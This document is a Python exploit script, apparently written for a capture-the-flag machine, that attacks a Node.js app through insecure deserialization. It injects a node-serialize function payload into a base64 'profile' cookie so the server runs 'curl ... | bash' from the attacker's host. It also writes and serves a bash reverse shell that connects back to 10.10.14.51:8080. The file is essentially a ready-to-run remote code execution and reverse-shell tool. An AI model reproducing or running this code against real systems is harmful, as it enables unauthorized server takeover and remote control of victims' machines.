import requests
import json
from base64 import b64encode
from http.server import HTTPServer, CGIHTTPRequestHandler
import threading
import time
import os 
def banner():
    print(""" 
                           .',,,'.                          
                          ;ONWWWNO;                         
                         :O0KXXXXX0;                        
                        .ONkdxdddONO.                       
                .:c'..;cOWM0l;;:lOWWOl;..,lc.               
                .OOloolkNMNX0dcxXKXW0kdoooko.               
                .Oo .;oxkxk0xoodk0kolxd,  c:                
                .Oo   .lOOkOkl;;lOO00c.  .dd.               
                 lk;.ckKNWWWkllkNMWWN0o,.:0:                
                 ;KXXWMMMW0oxXMMMMMMMWMN0KO'                
                 ;KMXd:;;;..dWMMMMWNNWMMMMK,                
                 ;KMx.      lWMMMMKc:0MMMMK;                
                 ;XM0;    .,OWWMMMW0ONMMMMK,                
                 .xWWO;:dx0NNXXXWWMMMMMMMNd.                
                  'xxcxNMMMWKkkkXMMMMMMMNd.                 
              . .. .'xNWWMMWK0XKXWMMMMWKl. .  .             
                ... ..;lkKWWNWMNNWWKkl;.   ..               
                .:c:,..  .lO0K000x:. ...,c:.                
                .o0XK0d,.. ..........oK0XNk'                
                  .;oc,odoc'''...':ldcoko;.                 
                       ..;cl;;dc,,'...                      
                      ..;c,.,;';llo:..                      
                 'cll:::,,. .   ..,,;c:,.                   
                 .xKd'                .,lxxl,.              
                  ..                     ,dc.               
                                           .     
""")

def sploit(cmd):
    base = f'''{{"username":"_$$ND_FUNC$$_require('child_process').exec('{cmd}', function(error, stdout, stderr) {{console.log(stdout) }})","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"100"}}'''
    encoded = b64encode(base.encode('utf-8'))
    return encoded

def start_server(path, port=8000):
    '''Start a simple webserver serving path on port'''
    os.chdir(path)
    httpd = HTTPServer(('', port), CGIHTTPRequestHandler)
    httpd.serve_forever()

def createPayload(payload_name):
    print(f"[+] Writing a payload to {payload_name}...")
    with open(payload_name,"w+") as f:
        f.write("bash -i >& /dev/tcp/10.10.14.51/8080 0>&1")
    f.close()

def main():
    # Start the server in a new thread
    port = 8000
    print(f"[+] Starting WebServer on {port}...")
    daemon = threading.Thread(name='daemon_server',target=start_server,args=('.', port))
    daemon.setDaemon(True) # Set as a daemon so it will be killed once the main thread is dead.
    daemon.start()
    payload_name = "shell.sh"
    # create payload and output it to file in same dir
    createPayload(payload_name)
    ## modify this variable to edit command exexuted ##
    ## curls payload and pipes to bash ##
    cmd = f"""curl http://10.10.14.51:8000/{payload_name} | bash"""
    payload = sploit(cmd)
    payload_Str = payload.decode()
    url = "http://10.10.10.85:3000/"
    headers = {"Cookie":f"profile={payload_Str}"}
    print("[+] Start a listener on 8080!!!")
    time.sleep(5)
    resp = requests.get(url,headers=headers)
    if resp.status_code == 200:
        print("[+] Payload Successfully Sent!")
    else:
        print("[!] Payload may not have made it printing status code...")
        print(resp)
        print(resp.text)
        print(headers)
    print("[+] Deleting payload...")
    time.sleep(5)
    os.remove(payload_name)
    print("[+] Stopping WebServer And Exiting...")
    time.sleep(5)

banner()
main()
